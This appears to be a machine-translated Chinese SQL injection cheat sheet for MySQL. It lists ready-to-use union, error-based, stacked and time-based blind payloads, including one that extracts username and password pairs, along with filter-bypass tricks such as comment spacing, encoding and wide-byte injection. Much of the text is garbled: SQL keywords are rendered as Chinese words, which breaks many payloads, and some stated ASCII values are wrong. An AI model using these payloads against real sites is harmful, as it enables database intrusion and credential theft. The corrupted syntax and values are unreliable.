人们害怕的是未知的不确定性
常见的SQL注释字符包括“#”和“-”以及内嵌注释“/*!*/”。
sqlmap使用手册:https://blog.csdn.net/2301_80127209/article/details/138612315
MySQL数据库注入知识点:https://wiki.wgpsec.org/knowledge/web/sql_injection.html
目录快递
[1] 过滤器列表
[2] 联合注射
[3] 错误注入
[4] 堆栈注入
[5] 延迟注射
[6] 绕过技巧
[7] 知识的进步
字符过滤(用于测试词典)
特殊字符
=
()
”
”
,
#
–+
+
–
^
%
\\
*
[]
|
`
。
/
;
#联合注入关键字
和
或者
在哪里
从
喜欢
选择
联盟
订购依据
数据库()
版本()
用户()
信息图式
表模式
表名
栏目名称
group_concat()
限制
#错误报告关键字注入
和
或者
在哪里
从
喜欢
选择
联盟
订购依据
数据库()
版本()
用户()
信息图式
表模式
表名
栏目名称
提取值()
更新xml()
地面()
指数()
左边()
正确的()
中()
连接()
group_concat()
限制
#堆叠注入关键字
展示
数据库
桌子
柱子
从
改名
改变
处理程序
打开
读
关闭
准备
链接
执行
#延迟插入关键词
和
如果
选择
数数
从
在哪里
限制
ASCII码
子串
睡觉()
标准()
延迟分析()
信息图式
桌子
柱子
返回目录
关节注射
#checkfield
按1\’1# 排序
1\’ 订购100# 单位
#Union查询(假设字段为3)
-1\’ Union select 1,2,3# //-1使页面报错,以便于显示
#检查所有数据库名称(假设echo为2)
-1\’ 并集选择1,database(),3#
-1\’ join 从information_schema.tables 选择1,database(),3#
#显示版本
-1\’ 联合选择1,version(),3#
#查看指定库的表名
-1\’ Union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=\’库名称\’#
#查看指定表的列名
-1\’ Union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=\’库名称\’ and table_name=\’表名称\’#
#显示指定列名的内容
-1\’ Union select 1,group_concat(列名1,0x3a,列名2),3 from 库名.列名#
返回目录
错误插入
#extractvalue() //过滤空格和“=”
1\’^extractvalue(1,concat(0x5c,(select(database()))))# //爆数据库名
1\’^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(\’库名\’))))# //查找表名
1\’^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(\’表名\’))))# //检查列名
1\’^extractvalue(1,concat(0x7e,(select(left(列名, 30))from(库名.表名))))# //从左边检查30个字段
1\’^extractvalue(1,concat(0x7e,(select(right(列名, 30))from(库名.表名))))#
#updatexml() 函数
1\’ and updatexml(1,concat(0x7e,(selectdatabase()),0x7e),1)# //扩展数据库
1\’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=\’库名\’ limit 0,1),0x7e),1)# //检查表名
1\’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=\’库名\’ and table_name=\’表名\’ limit 0,1),0x7e),1)# //检查列名
1\’ and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from user limit 0,1),0x7e),1)# //检查数据
#BigInt 数据类型溢出——exp() 或pow()
1\’ and exp(~(select * from (select user())a))# //显示当前库权限
1\’ and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a))# //查找表名
1\’ and exp(~(select * from (select column_name from information_schema.columns where table_name=\’表名\’ limit 0,1)a))# //检查列名
1\’ and exp(~(select * from(select \’列名\’ from \’表名\’ limit 0,1)))# //获取对应信息
#floor() 函数
1\’ and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
返回目录
堆栈注入
#常用查询语句
1\’;show Databases;# //查看数据库名称·
1\’;showtables;# //查看表名
1\’;show columns from `table name`;# //检查列名。表名用反引号括起来
#rename更改表和列
1\’;将表`表1`重命名为`表2`;将表`表3`重命名为`表1`;更改表`表1`更改`列1“列2`VARCHAR(100);下一列DisplayTable 1;# //将表1重命名为表2,将表3重命名为表1,然后将表1的第1列重命名为第2列,最后显示表1的第1列; //适合无权限查看的表面
#handler从表中读取数据
1\’;HANDLER 表名OPEN;HANDLER 表名READ FIRST;HANDLER 表名CLOSE;# //此方法用于查询列时禁用选择并打开指定表名并读取第一行。要删除表中的数据,请关闭表以释放资源。
#设置转换运算符
1;set sql_mode=PIPES_AS_CONCAT;select 1 //如果后端代码使用“||”确定,则适用。
#sql预处理
PREPARE hacker from concat(\’s\’,\’elect\’, \’ * from `table name` \’);
EXECUTE hacker;# //绕过特定字符串的过滤
set@a=hex编码值;prepare hacker from @a;run hacker;# //结合hex(base)编码实现绕过
返回目录
延迟注射
#常规判断
1\’ and (sleep(5))–+ //延迟5秒
#测试数据库长度
1\’ and if(length(database())=1,sleep(5),1)–+ #无延迟
1\’ and if(length(database())=2,sleep(5),1)–+ #无延迟
1\’ and if(length(database())=3,sleep(5),1)–+ #无延迟
.
1\’ and if(length(database())=8,sleep(5),1)–+ #延迟5秒
//数据库名长度为8
#猜测盲注数据库名称
1\’ and if(ascii(substr(database(),1,1))97,sleep(5),1)–+ #延迟5秒
1\’ and if(ascii(substr(database(),1,1))120,sleep(5),1)–+ #无延迟
//数据库名称第一个字符的ASCII码在97到120之间,第二个和第三个字符也是如此,以缩小ASCII码范围.
.
1\’ and if(ascii(substr(database(),1,1))=115,sleep(5),1)–+ #延迟5秒
1\’ and if(ascii(substr(database(),2,1))=101,sleep(5),1)–+ #延迟5秒
1\’ and if(ascii(substr(database(),3,1))=99,sleep(5),1)–+ #延迟5秒
1\’ and if(ascii(substr(database(),4,1))=117,sleep(5),1)–+ #延迟5秒
1\’ and if(ascii(substr(database(),5,1))=114,sleep(5),1)–+ #延迟5秒
1\’ and if(ascii(substr(database(),6,1))=105,sleep(5),1)–+ #延迟5秒
1\’ and if(ascii(substr(database(),7,1))=116,sleep(5),1)–+ #延迟5秒
1\’ and if(ascii(substr(database(),8,1))=121,sleep(5),1)–+ #延迟5秒
第一个字符的ASCII 码是115,因此第一个字符是“s”,依此类推。
#确定表的数量
1\’ 和if((从information_schema.tables 中选择count(table_name)。
table_schema=\’库名\’)=4,sleep(2),0)–+ //判断表数量是否为4
.
#确定表长度
1\’ 和if(length((从information_schema.tables 中选择table_name。
table_schema=\’库名\’ limit 3,1))=5,sleep(3),1)–+ //判断库中第四个表名的长度是否为5
.
#确定表名的ASCII码(表名长度为5)
1\’ 和if(ascii(substr((从information_schema.tables 中选择table_name。
table_schema=\’库名\’ limit 3,1),1,1))=117,sleep(3),1)–+ //第一个子符号
1\’ 和if(ascii(substr((
table_schema=\’库名\’ limit 3,1),2,1))=115,sleep(3),1)–+ //第二个字符
1\’and if(ascii(substr((从information_schema.tables 中选择table_name。
table_schema=\’库名\’ limit 3,1),3,1))=101,sleep(3),1)–+ //第3个字符
1\’ 和if(ascii(substr((
table_schema=\’库名\’ limit 3,1),4,1))=114,sleep(3),1)–+ //第4个字符
1\’and if(ascii(substr((从information_schema.tables 中选择table_name。
table_schema=\’库名\’ limit 3,1),5,1))=115,sleep(3),1)–+ //第5个字符
//以上操作用于推断给定库中第四个表名对应的ASCII码。 ASCII 码分别为177、115、101、114 和115。
#确定列数
1\’ 和if((从information_schema.columns 中选择count(column_name)。
table_schema=\’库名\’ and table_name=\’表名\’)=3,sleep(5),0)–+ //判断指定表是否有3个列名
.
#确定列名的长度
1\’ 和if(length((从information_schema.columns 中选择列名称。
table_schema=\’库名\’ and table_name=\’表名\’ limit 0,1))=8,sleep(5),1)–+ //指定表的第一个列名长度为8判断是否
.
#确定列名的ASCII码
1\’ 和if(ascii(substr(从information_schema.columns 中选择column_name with table_schema=database() and table_name=\’users\’ limit 1,1),1,1)))=117,sleep(5) ,1)- -+ //第一个字符
1\’ 和if(ascii(substr((从information_schema.columns 中选择column_name with table_schema=database() and table_name=\’users\’ limit 1,1),2,1)))=115,sleep(5) ,1) – -+ //第二个字符
1\’ 和if(ascii(substr(从information_schema.columns 中选择column_name with table_schema=database() and table_name=\’users\’ limit 1,1),3,1)))=101,sleep(5) ,1)- -+ //第三个字符
1\’ 和if(ascii(substr(从information_schema.columns 中选择column_name with table_schema=database() and table_name=\’users\’ limit 1,1),4,1)))=114,sleep(5) ,1)- -+ //第四个字符
1\’ 和if(ascii(substr(从information_schema.columns 中选择column_name with table_schema=database() and table_name=\’users\’ limit 1,1),5,1)))=110,sleep(5) ,1)- -+ //第5个字符
1\’ 和if(ascii(substr(从information_schema.columns 中选择column_name for (table_schema=database() and table_name=\’users\’ limit 1,1),6,1)))=97,sleep(5) ,1) – -+ //第6个字符
1\’ 和if(ascii(substr(从information_schema.columns 中选择column_name with table_schema=database() and table_name=\’users\’ limit 1,1),7,1)))=109,sleep(5) ,1)- -+ //第7个字符
1\’ 和if(ascii(substr(从information_schema.columns 中选择column_name with table_schema=database() and table_name=\’users\’ limit 1,1),8,1)))=101,sleep(5) ,1)- -+ //第8个字符
//以上操作用于推断指定库中第一个列名对应的ASCII码。 ASCII 码分别为177、115、101、114、110、97、109、101。
#猜测字段
1\’ and if(ascii(substr((从表名限制中选择列名0,1),1,1))=68,sleep(5),1)–+ //第一个字符
1\’ and if(ascii(select 列名from substr((表名限制0,1),2,1))=68,sleep(5),1)–+ //第二个字符
.
延迟注入和布尔盲注入是需要大量工作的注入方法。如果条件允许,建议您直接使用sqlmap或者自己编写自动化脚本,以减少注入工作量。
返回目录
绕过技巧
字符替换
1.\’=\’=\’like\’ or \’REGEXP\’ or \’!(table_name\’admin\’)\’ //\’REGEXP\’是普通匹配字符,在一定条件下可以代替等号
2.\’#\’=\’%23\’
3. 空格=\’/**/\’ 或\’%0a\’ 或\’%0b\’ 或\’%0d\’ 或\’%a0\’ 或\’`\’
4.\’或\’=\’||\’
5.“和”=“”
6.\’xor\’=\’|\’ or \’^\’ //如果两个条件之一为真,则\’xor\’ 返回true:全真或全假。返回假。
7.“不”=“!”
关键字符及关键字被过滤
#绕过空格字符
1./*!*/#行内注释字符
2./**/#注释字符
3.%a0 #URL编码换行符
4.() #查询语句如果逻辑清晰就可以被识别。
5.“ # 反引号前也可以留一个空格
6. 加号(+)#起到连接作用,可以代替空格。
其他绕过思路
1.宽字节绕过,%df#单引号被过滤掉,数据库使用gbk编码。
2.Encoding Bypass #对过滤或检测到的字符进行编码(URL编码、Unicode编码、十六进制编码、双URL编码、ASCII编码)
3.绕过等效功能#一些未禁用的功能可以替代一些黑名单功能
4.案例旁路
5.双写旁路
6. 断线绕过
返回目录
知识的进步
从其他数据库注入学习
MYYSQL
甲骨文
以上关于#SQL注入负载快速检查的相关内容仅供大家参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/91215.html